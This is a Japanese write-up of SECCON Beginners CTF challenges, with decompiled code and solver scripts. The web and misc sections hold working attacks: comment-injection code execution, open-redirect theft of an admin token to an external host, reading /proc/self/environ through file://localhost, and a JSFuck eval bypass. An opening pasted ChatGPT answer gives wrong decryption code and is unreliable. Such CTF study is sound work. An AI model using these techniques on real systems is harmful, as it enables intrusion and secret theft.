**ループによる各文字の検証** ```c for (i = 0; i < 49; i++) { int32_t input_char = (int32_t)input[i]; int32_t key_value1 = key[i]; int32_t xor_result1 = input_char ^ key_value1; int32_t key_value2 = key[i + 1]; int32_t xor_result2 = xor_result1 ^ key_value2; temp_result = xor_result2; if (temp_result == 0) { match_count++; } } ``` 5. **すべての文字が正しいかどうかの判定** ```c if (match_count == 49) { printf("Correct! FLAG is %s.\n", input); return 0; } else { puts("Incorrect FLAG."); return 1; } ``` このC言語のコードは、LLVM IRの処理を忠実に再現しており、フラグの各文字とキー配列の対応する値を使ってXOR演算を行い、最終的な結果が正しいかどうかを判定します。
user
keyからFLAGを逆算するPythonコードを書けますか
ChatGPT
はい、次のPythonコードは、キー配列からFLAGを逆算するものです。このコードは、LLVM IRのロジックを逆方向に適用して、キー配列から正しいFLAGを求めます。 ```python key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] flag = [] for i in range(49): if i == 0: flag_char = key[i] ^ key[i + 1] else: flag_char = flag[i - 1] ^ key[i] ^ key[i + 1] flag.append(flag_char) flag_string = ''.join(chr(c) for c in flag) print(flag_string) ``` ### 各部分の説明 1. **キー配列の定義** ```python key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] ``` 2. **フラグのリストの初期化** ```python flag = [] ``` 3. **ループによる各文字の逆算** ```python for i in range(49): if i == 0: flag_char = key[i] ^ key[i + 1] else: flag_char = flag[i - 1] ^ key[i] ^ key[i + 1] flag.append(flag_char) ``` 4. **フラグの文字列化** ```python flag_string = ''.join(chr(c) for c in flag) print(flag_string) ``` このコードは、キー配列を使って各文字を逆算し、FLAGを再構築します。最初の文字はキー配列の最初の値と次の値のXOR演算で求め、それ以降の文字は前の文字と現在のキー配列の値、次のキー配列の値を使って求めます。最終的にFLAGを文字列として出力します。
user
今書いたコードを実行してください
ChatGPT
実行結果は以下の通りです。 ``` c\x17qE\'\\k\x02a\nUb\x03`\x0bTeT"O\x10y\x17cP"O*N\x7fK?Z\x05w\x12b\x10#P5[l\r:Sc\rp ``` 結果からわかるように、生成されたフラグ文字列には制御文字や不可視文字が含まれています。これは、入力の文字が0から255の範囲内の任意のバイト値を取ることができるためです。 したがって、正しいフラグ文字列を求めるには、各文字が有効なASCII文字(印刷可能な範囲)であることを確認する追加の処理が必要になるかもしれません。

ChatGPTはflagの復号には失敗したが、隣り合うkey同士をxorして復号していることは読んでくれたので、あとは自分で作った。

key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
flag = ""

for i in range(len(key)-1):
  flag += chr(key[i] ^ key[i+1])

print(flag)

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

construct (Reversing:medium)

使っていない関数がたくさんある……?

Ghidraで解析してもエントリーポイントがよくわからないLinux実行ファイルが与えられる。次のようなたくさんの関数が入っている。

void func_21670b38(undefined8 param_1,long param_2)

{
  int iVar1;
  
  iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
                  "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5" + i,2);
  if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  i = i + 2;
  return;
}

gdb pedaで実行ファイルを読み込んで、mainやfunc_********といった関数にすべてブレークポイントを張って、呼び出されたときにどうなっているか調べる。

gdbでは関数名でブレークポイントが張れるのでアドレスを知らなくてもいい。例えばb mainでmain関数にブレークポイントを張る。

また、次の関数が見つかる。

void func_f8db6e92(undefined8 param_1,long param_2)

{
  size_t sVar1;
  
  sVar1 = strlen(*(char **)(param_2 + 8));
  if (sVar1 != 0x20) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

これは文字列の長さを見ており、0x20でなければexitするのでflagの長さは32文字。gdbでrun ********************************として32文字の引数を与えて実行。

最初に呼び出された関数は次のものだ。

void func_9e540c6a(undefined8 param_1,long param_2)

{
  int iVar1;
  
  iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
                  "c0_d4yk261hbosje893w5igzfrvaumqlptx7n" + i,2);
  if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  i = i + 2;
  return;
}

strncmpを呼び出すところでniでステップ実行すると、引数の文字列と関数中の先頭2文字を比較している。つまり最初の2文字はc0

引数をc0******************************にして再実行すると、次の関数に進む。

void func_21670b38(undefined8 param_1,long param_2)

{
  int iVar1;
  
  iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
                  "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5" + i,2);
  if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  i = i + 2;
  return;
}

strncmpまでステップ実行すると、oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5の3文字目から2文字、つまりnsを比較している。

引数はc0ns****************************になる。この調子で引数を2文字ずつ確定させながら実行を繰り返すと、関数が次の順で呼び出された。

func_e0db2736
func_f8db6e92
func_9e540c6a
func_21670b38
func_b548021f
func_c285f76d
func_74b2a53c
func_d902e81f
func_35efd7b6
func_1f5eba30
func_bae805f6
func_30b49da1
func_91e3f562
func_af41723c
func_69fd4a70
func_3d90c2fa
func_3b8e07a4
func_da53ce29

32文字がすべて確定すると判定をパス。

CONGRATULATIONS!
The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

former-seccomp (Reversing:hard)

フラグチェック用のシステムコールを自作してみました

Ghidraで逆コンパイルするとデバッガー対策がたくさん入ってて回避が大変そうなので、動的解析ではなく静的解析でやってみる。

void FUN_00101309(void)

{
  __pid_t __pid;
  int iVar1;
  long lVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  char local_98 [64];
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  lVar2 = ptrace(PTRACE_TRACEME,0,0,0);
  if (lVar2 < 0) {
    puts("don\'t debug me!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  __pid = getpid();
  iVar1 = kill(__pid,0x13);
  if (iVar1 == -1) {
    perror("kill");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("flag> ");
  fgets(local_98,0x40,stdin);
  iVar1 = __isoc99_sscanf(local_98,"ctf4b{%26s%[}]",local_58,local_98);
  if (iVar1 != 2) {
    puts("invalid format");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  sVar3 = strlen(local_58);
  lVar2 = syscall(0xcafe,local_58,sVar3);
  if ((int)lVar2 == 0) {
    puts("WRONG");
  }
  else {
    puts("CONGRATULATIONS!");
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

lVar2 = syscall(0xcafe,local_58,sVar3);で判定をしているようだが、0xcafeのsyscallが自作のシステムコールだろう。中身はおそらく以下の関数。

undefined8 FUN_00101737(char *param_1)

{
  size_t sVar1;
  undefined8 uVar2;
  void *pvVar3;
  ulong local_28;
  long local_20;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x1a) {
    for (local_28 = 0; sVar1 = strlen(&DAT_00104030), local_28 < sVar1; local_28 = local_28 + 1) {
      (&DAT_00104030)[local_28] = (char)local_28 + 0x20U ^ (&DAT_00104030)[local_28];
    }
    pvVar3 = FUN_00101497(&DAT_00104010,&DAT_00104030);
    for (local_20 = 0; (param_1[local_20] != '\0' && (*(char *)(local_20 + (long)pvVar3) != '\0'));
        local_20 = local_20 + 1) {
      if (param_1[local_20] != *(char *)(local_20 + (long)pvVar3)) {
        return 0;
      }
    }
    uVar2 = 1;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}


void * FUN_00101497(char *param_1,char *param_2)

{
  size_t __size;
  void *pvVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  ulong local_158;
  ulong local_150;
  ulong local_148;
  ulong local_140;
  ulong local_138;
  ulong local_130;
  byte local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __size = strlen(param_1);
  pvVar1 = malloc(__size);
  sVar2 = strlen(param_2);
  for (local_158 = 0; local_158 < 0x100; local_158 = local_158 + 1) {
    local_118[local_158] = (byte)local_158;
  }
  local_148 = 0;
  for (local_150 = 0; local_150 < 0x100; local_150 = local_150 + 1) {
    local_148 = (ulong)((int)param_2[local_150 % (ulong)(long)(int)sVar2] +
                        (uint)local_118[local_150] + (int)local_148 & 0xff);
    FUN_00101463(local_118 + local_150,local_118 + local_148);
  }
  local_140 = 0;
  local_138 = 0;
  for (local_130 = 0; local_130 < __size; local_130 = local_130 + 1) {
    local_140 = (ulong)((int)local_140 + 1U & 0xff);
    local_138 = (ulong)((int)local_138 + (uint)local_118[local_140] & 0xff);
    FUN_00101463(local_118 + local_140,local_118 + local_138);
    *(byte *)(local_130 + (long)pvVar1) =
         local_118[(int)(uint)(byte)(local_118[local_138] + local_118[local_140])] ^
         param_1[local_130];
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return pvVar1;
}



void FUN_00101463(undefined *param_1,undefined *param_2)

{
  undefined uVar1;
  
  uVar1 = *param_1;
  *param_1 = *param_2;
  *param_2 = uVar1;
  return;
}

また関数中で読まれているDATのデータは次の通り。

DAT_00104010 = A5 D2 BC 02 B2 7C 86 38 17 B1 38 C6 E4 5C 1F A0 9D 96 D1 F0 4B A6 A6 5C 64 B7
DAT_00104030 = 43 55 44 17 46 1F 14 17 1A 1D

いつもなら人力で関数を見やすく加工するところだが、上記を一式ChatGPTに投げてc言語として見やすくしてもらおう。以下ChatGPTの出力の抜粋。

ChatGPTによるformer-seccompの評価

暗号化アルゴリズムがRC4であることまで見抜いてくれた。DAT_00104010が暗号データでDAT_00104030がRC4の暗号鍵となっているが、DAT_00104030は次の処理で変換されている。

        for (size_t i = 0; i < strlen(DAT_00104030); i++) {
            DAT_00104030[i] = (char)i + 0x20U ^ DAT_00104030[i];
        }

この処理を実行して得られた63 74 66 34 62 3a 32 30 32 34を暗号鍵として、CyberChefでRC4を復号した。

RC4復号

ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}

getRank (misc:easy)

https://getrank.beginners.seccon.games

getRank問題ページ

数字を選んでscoreを増やしてGet Rankを押すと現在のランキングが出る。scoreの計算自体はクライアント側の以下のスクリプトで処理されているのでどんな値でも設定できる。

main.ts      let score = 0;
      let numberToGuess = genNumber();

      function genNumber() {
        return Math.floor(Math.random() * 10);
      }

      function checkGuess() {
        const userGuess = document.getElementById("guessInput").value;
        const result = document.getElementById("result");
        const scoreElement = document.getElementById("score");

        if (userGuess == numberToGuess) {
          result.textContent = "Correct!";
          score++;
          numberToGuess = genNumber();
        } else {
          result.textContent = "Incorrect. Try again.";
        }

        scoreElement.textContent = score;
      }

      function getRank() {
        const rankElement = document.getElementById("rank");
        const messageElement = document.getElementById("message");

        fetch("/", {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({ input: `${score}` }),
        })
          .then((response) => response.json())
          .then((data) => {
            rankElement.textContent = data.rank ?? "-1";
            messageElement.textContent =
              data.message ?? "Error occurred.";
          })
          .catch((error) => {
            rankElement.textContent = "-1";
            messageElement.textContent = "Error occurred.";
            console.error(error);
          });
      }

サーバー側のtsファイルを以下に示す。

import fastify, { FastifyRequest } from "fastify";
import fs from "fs";

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

const server = fastify();

server.get("/", (_, res) => {
  res.type("text/html").send(fs.readFileSync("public/index.html"));
});

server.post(
  "/",
  async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
    const { input } = req.body;
    const result = chall(input);
    res.type("application/json").send(result);
  }
);

server.listen(
  { host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
  (err, address) => {
    if (err) {
      console.error(err);
      process.exit(1);
    }
    console.log(`Server listening at ${address}`);
  }
);

ランキングはRANKING = [10 ** 255, 1000, 100, 10, 1, 0];で決まり、1位を取ってflagを得るには10**255より大きなscoreが必要。

chall関数で与えられたscoreがフィルタされている。

  1. inputの長さが300文字より大きければInput too longでエラー。
  2. inputをparseIntで評価して数値のscore変換する
  3. isNaN(score)で評価して数値でなければInvalid scoreでエラー。
  4. scoreが10**255より大きいと、10で割る演算を100回行うペナルティを受ける。
  5. すべて通過すればranking(score)で評価して順位を決める。

10**255より大きいと10**100分の1にされてしまう。Infinityや指数表記1e+1000などはparseIntを通過できず、割り算されても10**255になるように355桁以上にすると300桁の制限に引っかかる。

答えはparseIntの仕様で、文字列が0xで始まると16進数で評価される。よって、0xffff....ffffの300桁を入れれば、ペナルティで10**100分の1されても10**255より大きくなる。

適当にコンソールを開いてscore="0xffff....fffff"にしてGet Rankを実行するとflagを取れる。

ctf4b{15_my_5c0r3_700000_b1g?}

clamre (misc:easy)

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

flagをチェックするページが与えられる。ソースコードは以下の通り。

server.py#!/usr/bin/env python3
from flask import Flask, request, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import subprocess

app = Flask(__name__)
limitter = Limiter(
        get_remote_address,
        app=app,
        default_limits=["10 per second"],
)


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/", methods=["POST"])
def upload_file():
    if "file" not in request.files:
        return "No file part", 400

    file = request.files["file"]

    if file.filename == "":
        return "No selected file", 400

    if file:
        with tempfile.NamedTemporaryFile() as tmp:
            path = tmp.name
            file.save(path)
            command = [
                "clamscan",
                "-z",
                "--database=/var/www/flag.ldb",
                "--no-summary",
                path,
            ]
            try:
                result = (
                    subprocess.run(
                        command,
                        capture_output=True,
                        text=True,
                    )
                    .stdout.strip("\n")
                    .split(" ")
                )

                if len(result) == 3:
                    matched = result[1]
                    return render_template("result.html", matched=matched)
                else:
                    return render_template("result.html", matched=None)
            except Exception as e:
                return f"Something went wrong: {e}", 500

    return "Something went wrong", 500


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)
flag.ldbClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

server.pyのコマンド実行を見ると、clamscanとflag.ldbで入力データを評価している。

正規表現をパスするflag文字列を復元すればいい。バイト表記になっているASCII文字をもとに戻す。

((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})

\nは()で囲まれたグループを参照しており、全体を囲う()を\1として、左から順番に数えていく。\nを対応するグループの()で置換して、()を外せばflagになる。

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

commentator (misc:easy)

コメントには注意しなきゃ!

nc commentator.beginners.seccon.games 4444

解けなかった問題。raw_unicode_escapeを使い、Unicodeの改行コード\u000aや\u2028などを使うところまでは試行したが、適用までできなかった問題である。

作問者Writeup

必要なのはcoding: raw_unicode_escapeを入力して# coding: raw_unicode_escapeで文字コード指定することだった。# coding: を使わないPythonばかり書いていて思いつかなかった。

$ nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("ls /")
>>> \u000aos.system("cat /flag-*.txt")
>>> __EOF__
app
bin
boot
dev
etc
flag-437541b5d9499db505f005890ed38f0e.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)

wooorker (Web:beginner)

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

ログインページが与えられるがusernameもpasswordもわからない。

気になるのはレポート機能のほう。

wooorker report

レポートを送信すると、送信した文字列のパスにクローラーがアクセスを行う。クローラーのコードは次のようになっている。

/crawler/index.jsconst { chromium } = require('playwright');
const { v4: uuidv4 } = require("uuid");
const Redis = require("ioredis");
const connection = new Redis({
  host: process.env.REDIS_HOST,
  port: process.env.REDIS_PORT,
});

const ADMIN_USERNAME = process.env.ADMIN_USERNAME; 
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD; 
const APP_URL = process.env.APP_URL;

const crawl = async (path, ID) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  try {
    // (If you set `login?next=/` as path in Report page, admin accesses `https://wooorker.quals.beginners.seccon.jp/login?next=/` here.)
    const targetURL = APP_URL + path;
    console.log("target url:", targetURL);
    await page.goto(targetURL, {
        waitUntil: "domcontentloaded",
        timeout: 3000, 
    }); 
    await page.waitForSelector("input[id=username]");
    await page.type("input[id=username]", ADMIN_USERNAME);
    await page.type("input[id=password]", ADMIN_PASSWORD);
    await page.click("button[type=submit]");

    await page.waitForTimeout(1000);

    await page.close();
  } catch (err) {
    console.error("crawl", ID, err.message);
  } finally {
    await browser.close();
    console.log("crawl", ID, "browser closed");
  }
};

(async () => {
  while (true) {
    console.log(
      "[*] waiting new query",
      await connection.get("queued_count"),
      await connection.get("proceeded_count")
    );
    const ID = uuidv4();
    await connection
      .blpop("query", 0)
      .then((v) => {
        const path = v[1];
        console.log("crawl", ID, path);
        return crawl(path, ID);
      })
      .then(() => {
        console.log("crawl", ID, "finished");
        return connection.incr("proceeded_count");
      })
      .catch((e) => {
        console.log("crawl", ID, e);
      });
  }
})();

アクセスするパスはAPP_URLの下のパスとなるで、外部のサーバーには届かない。アクセスするとクローラーが持つADMINのusernameとpasswordでログインを実行する。基本的にはloginに対して行うものだ。

login.htmlでは、ログイン処理を実行したあとにページ遷移を行う処理が含まれている。

main.js(クライアント側)const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
        } else {
            window.location.href = `/?token=${token}`;
        }
    }
};

login?next=で指定したパスにジャンプするが、search文字列にtokenを与えているので、next=に外部のパスを指定すればtokenを取得することができる。

よって、login?next=https://example.example/といった形式でアクセスをさせれば?token=の先を取得可能。

自分のホストするサイトを使ってもいいし、例えばRequestBin.comなどが使える。

RequestBin

次に、flag.htmlではtokenを使用してflagの取得を判定するようになっている。

server.js抜粋app.get('/flag', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }
  
  try {
    const decoded = jwt.verify(token, jwtSecret);
    if (decoded.isAdmin) {
      const flag = FLAG;
      res.status(200).json({ flag });
    } else {
      res.status(403).json({ error: 'Access denied' });
    }
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});
flag.js(クライアント側)document.addEventListener('DOMContentLoaded', async() => {
    const token = new URLSearchParams(window.location.search).get('token');
    if (!token) {
        document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
        return;
    }

    try {
        const response = await fetch('/flag', {
            headers: {
                'Authorization': `Bearer ${token}`
            }
        });
        const result = await response.json();
        if (response.ok) {
            document.getElementById('flagContainer').innerText = result.flag;
        } else {
            document.getElementById('flagContainer').innerText = result.error;
        }
    } catch (error) {
        document.getElementById('flagContainer').innerText = 'Error fetching flag.';
    }
});

flag.htmlでは、?token=のsearch文字列を与えると?token=で与えたtokenで認証を行ってパスすればflagを表示する。さきほど手に入れたtokenを使って、/flag.html?token=****にアクセスすればflagを取得できる。

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

ssrforlfi (Web:easy)

SSRF? LFI? ひょっとしてRCE?

https://ssrforlfi.beginners.seccon.games

解けなかった問題。?url=でURLを指定すると、curlでページを取得して表示してくれる。app.pyの内容は以下の通り。

app.pyimport os
import re
import subprocess
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4989)

flagは環境変数に入っている。

.envFLAG=ctf4b{*****REDACTED*****}
TZ=Asia/Tokyo

使用できる文字は「a-z " ( ) . / : ; < > @ |」。これ以外は含まれればInvalid URLでエラー。つまり127.0.0.1などは使えない。

使用できるプロトコルは「http://」「https://」「file://」の3つで、http/httpsのときはlocalhostが含まれればDetected SSRFでエラー。fileのときはURLの7文字目(file://以降)からをos.path.existsでチェックして存在するか、パスに..が含まれればDetected LFIでエラー。いずれにも該当しない場合はInvalid Schemeでエラー。

すべてパスするとf"curl '{url}'"でcurlを実行する。

やったこととして、127.0.0.1を返すhttp://lvh.me/を使用したが上手くいかなかった。

curlはシングルクォーテーションで囲まれていて、DEFCON 32 qualsでやったようなcurlでテキストを取得してパイプラインでCommandの実行もできなかった。例えばhttps://example.example/exec.txt|sh

作問者Writeup

というわけで作問者Writeupを読むと、os.path.exists(path)で与える7文字目以降のパスと、curlで与えるフルパスの評価の違いを利用する問題であった。

file://localhost/hogeを与えると、os.path.exists("localhost/hoge")を評価して当然存在しない。しかしcurl file://localhost/hogeではfile://hogeと等価になるため内容を取得できる。

例えばhttps://ssrforlfi.beginners.seccon.games/?url=file://localhost/etc/passwd/etc/passwdが取得できる。

環境変数は/proc/self/environに入っているので、https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environでflagを含む環境変数を取得できる。

UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

wooorker2 (Web:medium)

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

https://wooorker2.beginners.seccon.games

脆弱性報告bot

wooorkerの続編。基本構造は同じなので割愛して、違いだけ説明する。

login.htmlのログイン後のページ遷移の部分で、tokenが?tokenのsearch文字列からから#tokenのハッシュに変更されている。

main.js(クライアント側)const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
        } else {
            window.location.href = `/#token=${token}`;
        }
    }
};

#から先はサーバー側で取得できないため、これでページ遷移をさせてもサーバー側にtokenが残らない。しかしJavaScriptであれば取得できるため、JavaScriptをワンクッション挟んで?tokenに付け直して飛ばすページを作成すればいい。

次のコードを仕込んだHTMLを自分のホストするサーバーに設置して、再度?tokenでnextpageにジャンプさせる。

const token = location.hash.split("#")[1];
location.href = "nextpage?" + token;

これでtokenが取得できるので、全く同様にflag.html#token=***にアクセスしてflagを入手。

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

flagAlias (Web:medium)

以下のコマンドを実行して、問題サーバのURLを取得してください。

nc flagalias.beginners.seccon.games 5000

実行するとhashcash -mb26 <RANDOM ID>とhashcash token:という表示が出ます。<RANDOM ID>の部分は毎回変わります。

hashcashコマンドを使用してhashcash -mb26 <RANDOM ID>を実行し、hashcash token:の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。

解けなかった問題。文字列を入力するとeval()でJavaScriptとして実行することができ、結果を取得できる。

main.tsimport * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);
flag.tsexport function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() {
  // **REDACTED**
  return "**REDACTED**";
}

export function getFakeFlag() {
  return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}

入力した文字列はwaf関数によっていくつかの単語を禁止しているが、例えばJSFuck( https://jsfuck.com/ )を使うと簡単に回避できる。flag.tsの中身を上手くimportできずに終了した。

作問者Writeup

これを参考に、JSFuckによる難読化を前提としてasync,await,importを使ってペイロードを作成してみた。

flag.tsの関数名の流出は以下のコードできる。

(async function(){
let m = await import('./flag.ts');
return Object.keys(m);
})();

実行すると以下のJSONが返る。

[
  [
    "wonderful flag",
    "fake{wonderful_fake_flag}"
  ],
  [
    "special flag",
    "fake{special_fake_flag}"
  ],
  [
    "getFakeFlag,getRealFlag_yUC2BwCtXEkg",
    "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
  ]
]

flagの関数名がgetRealFlag_yUC2BwCtXEkgとわかったので、関数の中身を取得するコードを作成。

(async function(){
let m = await import('./flag.ts');
return m.getRealFlag_yUC2BwCtXEkg;
})();

実行結果。

[
  [
    "wonderful flag",
    "fake{wonderful_fake_flag}"
  ],
  [
    "special flag",
    "fake{special_fake_flag}"
  ],
  [
    "function getRealFlag_yUC2BwCtXEkg() {\n  // Great! You found the flag!\n  // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n  return \"fake{The flag is commented one line above here!}\";\n}",
    "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
  ]
]

モダンなJavaScriptを使ってこなかったために最後の1,2時間では答えが出せなかった問題であった。

simpleoverflow (Pwnable:beginner)

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

